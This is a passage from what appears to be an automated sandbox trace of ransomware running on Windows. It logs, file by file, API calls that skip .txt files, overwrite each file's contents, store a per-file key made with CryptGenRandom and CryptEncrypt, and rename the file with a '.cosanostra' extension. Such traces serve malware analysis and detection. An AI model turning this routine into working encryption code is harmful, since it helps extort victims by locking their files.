hTemplateFile=0x0) returned 0x180 [0092.227] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm") returned 80 [0092.227] StrStrW (lpFirst="Peacock.htm", lpSrch=".txt") returned 0x0 [0092.229] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.229] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x251f50c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f50c*=0xe8, lpOverlapped=0x0) returned 1 [0092.229] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.229] WriteFile (in: hFile=0x180, lpBuffer=0x251f54c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f50c, lpOverlapped=0x0 | out: lpBuffer=0x251f54c*, lpNumberOfBytesWritten=0x251f50c*=0x4, lpOverlapped=0x0) returned 1 [0092.229] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f50c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f50c*=0x30, lpOverlapped=0x0) returned 1 [0092.230] CloseHandle (hObject=0x180) returned 1 [0092.230] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.cosanostra") returned 91 [0092.230] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.cosanostra")) returned 1 [0092.231] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f550 | out: pbBuffer=0x251f550) returned 1 [0092.231] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f548*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f548*=0x30) returned 1 [0092.231] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0092.231] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg") returned 86 [0092.231] StrStrW (lpFirst="OrangeCircles.jpg", lpSrch=".txt") returned 0x0 [0092.265] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffe713, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.265] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x18ed, lpNumberOfBytesWritten=0x251f50c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f50c*=0x18ed, lpOverlapped=0x0) returned 1 [0092.265] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.265] WriteFile (in: hFile=0x180, lpBuffer=0x251f54c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f50c, lpOverlapped=0x0 | out: lpBuffer=0x251f54c*, lpNumberOfBytesWritten=0x251f50c*=0x4, lpOverlapped=0x0) returned 1 [0092.265] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f50c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f50c*=0x30, lpOverlapped=0x0) returned 1 [0092.265] CloseHandle (hObject=0x180) returned 1 [0092.265] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.cosanostra") returned 97 [0092.265] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.cosanostra")) returned 1 [0092.334] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f548 | out: pbBuffer=0x251f548) returned 1 [0092.334] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f540*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f540*=0x30) returned 1 [0092.334] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0092.335] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm") returned 84 [0092.335] StrStrW (lpFirst="Hand Prints.htm", lpSrch=".txt") returned 0x0 [0092.337] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff15, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.337] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xeb, lpNumberOfBytesWritten=0x251f504, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f504*=0xeb, lpOverlapped=0x0) returned 1 [0092.337] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.337] WriteFile (in: hFile=0x180, lpBuffer=0x251f544*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f504, lpOverlapped=0x0 | out: lpBuffer=0x251f544*, lpNumberOfBytesWritten=0x251f504*=0x4, lpOverlapped=0x0) returned 1 [0092.337] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f504, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f504*=0x30, lpOverlapped=0x0) returned 1 [0092.337] CloseHandle (hObject=0x180) returned 1 [0092.338] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.cosanostra") returned 95 [0092.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.cosanostra")) returned 1 [0092.338] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f548 | out: pbBuffer=0x251f548) returned 1 [0092.338] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f540*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f540*=0x30) returned 1 [0092.338] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0092.339] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg") returned 85 [0092.339] StrStrW (lpFirst="GreenBubbles.jpg", lpSrch=".txt") returned 0x0 [0092.340] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffe6fa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.340] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1906, lpNumberOfBytesWritten=0x251f504, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f504*=0x1906, lpOverlapped=0x0) returned 1 [0092.340] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.340] WriteFile (in: hFile=0x180, lpBuffer=0x251f544*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f504, lpOverlapped=0x0 | out: lpBuffer=0x251f544*, lpNumberOfBytesWritten=0x251f504*=0x4, lpOverlapped=0x0) returned 1 [0092.341] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f504, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f504*=0x30, lpOverlapped=0x0) returned 1 [0092.341] CloseHandle (hObject=0x180) returned 1 [0092.341] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.cosanostra") returned 96 [0092.341] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.cosanostra")) returned 1 [0092.341] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f540 | out: pbBuffer=0x251f540) returned 1 [0092.342] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f538*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f538*=0x30) returned 1 [0092.342] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0092.342] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm") returned 86 [0092.342] StrStrW (lpFirst="Green Bubbles.htm", lpSrch=".txt") returned 0x0 [0092.343] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff13, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.343] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x251f4fc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f4fc*=0xed, lpOverlapped=0x0) returned 1 [0092.343] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.343] WriteFile (in: hFile=0x180, lpBuffer=0x251f53c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4fc, lpOverlapped=0x0 | out: lpBuffer=0x251f53c*, lpNumberOfBytesWritten=0x251f4fc*=0x4, lpOverlapped=0x0) returned 1 [0092.343] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4fc, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4fc*=0x30, lpOverlapped=0x0) returned 1 [0092.343] CloseHandle (hObject=0x180) returned 1 [0092.343] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.cosanostra") returned 97 [0092.343] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.cosanostra")) returned 1 [0092.344] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f540 | out: pbBuffer=0x251f540) returned 1 [0092.344] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f538*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f538*=0x30) returned 1 [0092.344] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0092.344] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg") returned 79 [0092.344] StrStrW (lpFirst="Garden.jpg", lpSrch=".txt") returned 0x0 [0092.348] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.348] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f4fc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f4fc*=0x2800, lpOverlapped=0x0) returned 1 [0092.348] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.348] WriteFile (in: hFile=0x180, lpBuffer=0x251f53c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4fc, lpOverlapped=0x0 | out: lpBuffer=0x251f53c*, lpNumberOfBytesWritten=0x251f4fc*=0x4, lpOverlapped=0x0) returned 1 [0092.359] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4fc, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4fc*=0x30, lpOverlapped=0x0) returned 1 [0092.359] CloseHandle (hObject=0x180) returned 1 [0092.359] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.cosanostra") returned 90 [0092.359] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.cosanostra")) returned 1 [0092.359] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f538 | out: pbBuffer=0x251f538) returned 1 [0092.359] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f530*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f530*=0x30) returned 1 [0092.360] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0092.360] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini") returned 80 [0092.360] StrStrW (lpFirst="Desktop.ini", lpSrch=".txt") returned 0x0 [0092.361] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffd7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.361] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x251f4f4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f4f4*=0x285, lpOverlapped=0x0) returned 1 [0092.361] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.361] WriteFile (in: hFile=0x180, lpBuffer=0x251f534*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4f4, lpOverlapped=0x0 | out: lpBuffer=0x251f534*, lpNumberOfBytesWritten=0x251f4f4*=0x4, lpOverlapped=0x0) returned 1 [0092.361] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4f4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4f4*=0x30, lpOverlapped=0x0) returned 1 [0092.361] CloseHandle (hObject=0x180) returned 1 [0092.361] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini.cosanostra") returned 91 [0092.361] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini.cosanostra")) returned 1 [0092.593] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f538 | out: pbBuffer=0x251f538) returned 1 [0092.593] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f530*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f530*=0x30) returned 1 [0092.593] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0092.593] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs") returned 73 [0092.593] StrStrW (lpFirst="edbres00001.jrs", lpSrch=".txt") returned 0x0 [0092.626] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.626] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f4f4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f4f4*=0x2800, lpOverlapped=0x0) returned 1 [0092.626] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.626] WriteFile (in: hFile=0x180, lpBuffer=0x251f534*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4f4, lpOverlapped=0x0 | out: lpBuffer=0x251f534*, lpNumberOfBytesWritten=0x251f4f4*=0x4, lpOverlapped=0x0) returned 1 [0092.628] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4f4, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4f4*=0x30, lpOverlapped=0x0) returned 1 [0092.628] CloseHandle (hObject=0x180) returned 1 [0092.628] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs.cosanostra") returned 84 [0092.628] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs.cosanostra")) returned 1 [0092.631] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f530 | out: pbBuffer=0x251f530) returned 1 [0092.963] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f528*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f528*=0x30) returned 1 [0092.963] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0092.963] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk") returned 65 [0092.963] StrStrW (lpFirst="edb.chk", lpSrch=".txt") returned 0x0 [0092.964] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffe000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.964] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x251f4ec, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f4ec*=0x2000, lpOverlapped=0x0) returned 1 [0092.964] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.964] WriteFile (in: hFile=0x180, lpBuffer=0x251f52c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4ec, lpOverlapped=0x0 | out: lpBuffer=0x251f52c*, lpNumberOfBytesWritten=0x251f4ec*=0x4, lpOverlapped=0x0) returned 1 [0092.964] WriteFile (in: hFile=0x180, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f4ec, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x251f4ec*=0x30, lpOverlapped=0x0) returned 1 [0092.964] CloseHandle (hObject=0x180) returned 1 [0092.965] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk.cosanostra") returned 76 [0092.965] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk.cosanostra")) returned 1 [0092.965] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f530 | out: pbBuffer=0x251f530) returned 1 [0092.965] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x251f528*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x251f528*=0x30) returned 1 [0092.965] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0092.965] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 122 [0092.965] StrStrW (lpFirst="08_Video_rated_at_4_or_5_stars.wpl", lpSrch=".txt") returned 0x0 [0093.007] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffc04, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.014] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x3fc, lpNumberOfBytesWritten=0x251f4ec, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f4ec*=0x3fc, lpOverlapped=0x0) returned 1 [0093.030] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.037] WriteFile (in: hFile=0x180, lpBuffer=0x251f52c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f4ec, lpOverlapped=0x0 | out: lpBuffer=0x251f52c*, lpNumberOfBytesWritten=0x251f4ec*=0x4, lpOverlapped=0x0) returned 1 [0093.046] WriteFile (in: hFile=0x180, 